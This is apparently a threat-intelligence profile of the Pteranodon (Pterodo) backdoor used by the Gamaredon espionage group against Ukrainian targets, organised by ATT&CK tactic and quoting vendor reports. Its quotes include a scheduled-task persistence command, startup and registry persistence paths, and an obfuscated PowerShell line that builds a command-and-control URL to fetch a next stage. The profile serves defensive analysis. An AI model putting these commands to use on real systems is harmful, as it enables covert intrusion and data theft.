Pteranodon
- Type
- Backdoor
- Capabilities
- ExfiltrationPersistenceDefense evasion
- Delivery
- SpearphishingUSB
- Platforms
- Windows
Pteranodon, also known as Pterodo, is a custom Windows backdoor and payload-deployment framework used by Gamaredon, a Russian cyber-espionage group also tracked as Armageddon and Shuckworm and linked to Russia’s Federal Security Service. It has been deployed in espionage operations targeting Ukrainian government, military, and security organizations.
Pteranodon allows operators to execute arbitrary commands, load additional payloads, capture screenshots at configurable intervals, and collect files from local systems and USB drives. Collected files and screenshots are exfiltrated to command-and-control infrastructure. Its components establish persistence through scheduled tasks and the Windows Startup folder. Execution mechanisms include VBScript and abuse of trusted Windows utilities such as mshta and rundll32. The malware can delete temporary files, remove files that interfere with execution, and delete its initial execution artifacts.
Documented delivery chains use spearphishing emails containing malicious Office documents whose macros launch VBScript droppers. Pterodo variants also download additional code from command-and-control servers. Gamaredon has used a separate PowerShell propagation script to distribute the backdoor through USB drives.
Associated vulnerabilities
1 CVE Mallory has correlated with this family across public research and vendor advisories. Each card links to the full Mallory page for that vulnerability.
Associated threat actors
1 distinct threat actor Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.
Over the past decade, their espionage arsenal has heavily evolved, shifting from the Pteranodon framework to highly modular, standalone payloads tracked under various names.
Techniques & procedures
47 distinct techniques documented for this family, organized by ATT&CK tactic.
Initial Access
3 techniques
Initial Access
Next, the script enumerates all drives, copying itself to any available removable disks – USB drives. These USB drives are likely used by the attackers for lateral movement across victim networks and may be used to help the attackers reach air-gapped machines within targeted organizations.
Bulk mailing of spyware like Pterodo
Gamaredon’s infection chain: Spoofed emails, GammaDrop and GammaLoad
Execution
11 techniques
Execution
The malware executable sets up as a task as “schtasks /Create /SC MINUTE /MO 12 /F /tn Word.Downdloads /tr” to run every 12 minutes
[Pteranodon](https://attack.mitre.org/software/S0147) schedules tasks to invoke its components in order to establish persistence.(Citation: Palo Alto Gamaredon Feb 2017)(Citation: Symantec Shuckworm January 2022)
After the document was opened, a malicious PowerShell command was observed being executed to download the next-stage payload... Next, a VBS script, which was Shuckworm’s Pterodo backdoor, was executed.
After the document was opened, a malicious PowerShell command was observed being executed to download the next-stage payload from the attackers’ C&C server... Shuckworm has also been observed using a new PowerShell script in order to spread its custom backdoor malware, Pterodo, via USB.
[Pteranodon](https://attack.mitre.org/software/S0147) can use `cmd.exe` for execution on victim systems.(Citation: Palo Alto Gamaredon Feb 2017)(Citation: Symantec Shuckworm January 2022)
[Pteranodon](https://attack.mitre.org/software/S0147) can use a malicious VBS file for execution.(Citation: Symantec Shuckworm January 2022)
The remaining lines of code end up writing a VBScript file and placing it in the user’s startup directory.
[Pteranodon](https://attack.mitre.org/software/S0147) has used various API calls.(Citation: Microsoft Actinium February 2022)
"...експлуатації відомої вразливості «Microsoft Office» CVE-2017-0199... що надає змогу ... виконати довільний код... при відкритті інфікованого файлу."
In one attack, the first sign of malicious activity was when the user appeared to open a RAR archive file that was likely delivered via a spear-phishing email and which contained a malicious document.
Gamaredon Leverages Microsoft Office Docs to Target Ukraine Government and Military
Persistence
6 techniques
Persistence
The malware executable sets up as a task as “schtasks /Create /SC MINUTE /MO 12 /F /tn Word.Downdloads /tr” to run every 12 minutes
[Pteranodon](https://attack.mitre.org/software/S0147) schedules tasks to invoke its components in order to establish persistence.(Citation: Palo Alto Gamaredon Feb 2017)(Citation: Symantec Shuckworm January 2022)
The first registry modification made by this macro changes the key value of AccessVBOM to 1... The second registry modification enables all macros automatically and disables warnings for future macro-enabled objects.
C:\Users\[Username]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
[Pteranodon](https://attack.mitre.org/software/S0147) copies itself to the Startup folder to establish persistence.(Citation: Palo Alto Gamaredon Feb 2017)
The new PowerShell script is used to first copy itself onto the infected machine and create a shortcut file using an rtk.lnk extension. The script uses file names such as “porn_video.rtf.lnk”, “do_not_delete.rtf.lnk” and “evidence.rtf.lnk” in an attempt to entice individuals to open the files.
Privilege Escalation
5 techniques
Privilege Escalation
The malware executable sets up as a task as “schtasks /Create /SC MINUTE /MO 12 /F /tn Word.Downdloads /tr” to run every 12 minutes
[Pteranodon](https://attack.mitre.org/software/S0147) schedules tasks to invoke its components in order to establish persistence.(Citation: Palo Alto Gamaredon Feb 2017)(Citation: Symantec Shuckworm January 2022)
C:\Users\[Username]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
[Pteranodon](https://attack.mitre.org/software/S0147) copies itself to the Startup folder to establish persistence.(Citation: Palo Alto Gamaredon Feb 2017)
The new PowerShell script is used to first copy itself onto the infected machine and create a shortcut file using an rtk.lnk extension. The script uses file names such as “porn_video.rtf.lnk”, “do_not_delete.rtf.lnk” and “evidence.rtf.lnk” in an attempt to entice individuals to open the files.
Stealth
11 techniques
Stealth
The macro code was obfuscated using string concatenation and procedurally generated variables — techniques that are often used to bypass static detection technologies.
"...компіляція UserSupport.cs завдяки csc.exe(компілятор С#)... до UserSupport.exe"
[Pteranodon](https://attack.mitre.org/software/S0147) can use a dynamic Windows hashing algorithm to map API components.(Citation: Microsoft Actinium February 2022)
One of the notable features of the malware Interop component is its usage of the fake Microsoft digital certificate belonging to Microsoft Time-Stamp Service.
Many entries explicitly describe deleting artifacts 'to cover tracks,' 'evade detection,' 'remove evidence,' 'reduce their footprint,' or as part of 'post-intrusion cleanup process.' Examples include APT28 deleting files to cover tracks, FIN5 using SDelete to clean up the environment, and Dragonfly deleting operational files as part of cleanup.
[Pteranodon](https://attack.mitre.org/software/S0147) can delete files that may interfere with it executing. It also can delete temporary files and itself after the initial script executes.(Citation: Palo Alto Gamaredon Feb 2017)
[Pteranodon](https://attack.mitre.org/software/S0147) can decrypt encrypted data strings prior to using them.(Citation: Microsoft Actinium February 2022)
[Pteranodon](https://attack.mitre.org/software/S0147) can use mshta.exe to execute an HTA file hosted on a remote server.(Citation: Symantec Shuckworm January 2022)
[Pteranodon](https://attack.mitre.org/software/S0147) executes functions using rundll32.exe.(Citation: Palo Alto Gamaredon Feb 2017)
These documents end up leveraging a technique known as template injection, a method of loading remotely hosted Microsoft Word document templates.
[Pteranodon](https://attack.mitre.org/software/S0147) has the ability to use anti-detection functions to identify sandbox environments.(Citation: Unit 42 Gamaredon February 2022)
Defense Impairment
1 technique
Defense Impairment
The first registry modification made by this macro changes the key value of AccessVBOM to 1... The second registry modification enables all macros automatically and disables warnings for future macro-enabled objects.
Discovery
4 techniques
Discovery
"Say.vbs перевіряє доступність ... за допомогою команди ping"; "...перевірки доступності ... з мережею інтернет: ... ping 127.0.0.1"
The serial number and hostname of the victim's computer are some of the first pieces of information the VBA collects.
[Pteranodon](https://attack.mitre.org/software/S0147) identifies files matching certain file extension and copies them to subdirectories it created.(Citation: Palo Alto Gamaredon Feb 2017)
[Pteranodon](https://attack.mitre.org/software/S0147) has the ability to use anti-detection functions to identify sandbox environments.(Citation: Unit 42 Gamaredon February 2022)
Lateral Movement
2 techniques
Lateral Movement
Next, the script enumerates all drives, copying itself to any available removable disks – USB drives. These USB drives are likely used by the attackers for lateral movement across victim networks and may be used to help the attackers reach air-gapped machines within targeted organizations.
These USB drives are likely used by the attackers for lateral movement across victim networks and may be used to help the attackers reach air-gapped machines within targeted organizations.
Collection
5 techniques
Collection
This virus collects system data, regularly sends it to command-control servers and expects further commands.
The content repeatedly describes adversaries and malware storing collected data, command output, credentials, archives, or files in local temporary folders, working directories, hidden directories, registry locations, recycle bins, or specific files prior to exfiltration.
[Pteranodon](https://attack.mitre.org/software/S0147) creates various subdirectories under <code>%Temp%\reports\%</code> and copies files to those subdirectories. It also creates a folder at <code>C:\Users\<Username>\AppData\Roaming\Microsoft\store</code> to store screenshot JPEG files.(Citation: Palo Alto Gamaredon Feb 2017)
[Pteranodon](https://attack.mitre.org/software/S0147) can capture screenshots at a configurable interval.(Citation: Palo Alto Gamaredon Feb 2017)(Citation: Unit 42 Gamaredon February 2022)
Attack Pattern Automated Collection - T1119
Command and Control
7 techniques
Command and Control
In this recent activity, we also observed the group leveraging legitimate services to act as C&C servers, including using the Telegram messaging service for its C&C infrastructure. More recently, they have also used Telegram’s micro-blogging platform, called Telegraph, to store C&C addresses.
[Pteranodon](https://attack.mitre.org/software/S0147) can use HTTP for C2.(Citation: Palo Alto Gamaredon Feb 2017)
Inside Gamaredon’s PteroLNK: Dead Drop Resolvers and evasive Infrastructure
[Pteranodon](https://attack.mitre.org/software/S0147) can download and execute additional files.(Citation: Palo Alto Gamaredon Feb 2017)(Citation: Symantec Shuckworm January 2022)(Citation: Unit 42 Gamaredon February 2022)
Malware Remcos RAT Remote access trojan used for persistent access ... Malware NetSupport RAT Legitimate RMM tool abused as malware
$urLs = 'hTTP://'+ [SYSTEM.NEt.DnS]::geThostadDREsSes([String]$(GEt-random)+'.cOriDAS.Ru') +'/slEEP.Php';
Each external URL within these lures were configured to point to Dynamic DNS providers (ddns.net, hopto.org)... the adversary’s attempt to mask their ownership and obscure atomic indicator associations through the use of transient infrastructures.
Exfiltration
2 techniques
Exfiltration
Attack Pattern Automated Exfiltration - T1020
[Pteranodon](https://attack.mitre.org/software/S0147) exfiltrates screenshot files to its C2 server.(Citation: Palo Alto Gamaredon Feb 2017)
Observables
183 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
Recent activity
63 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.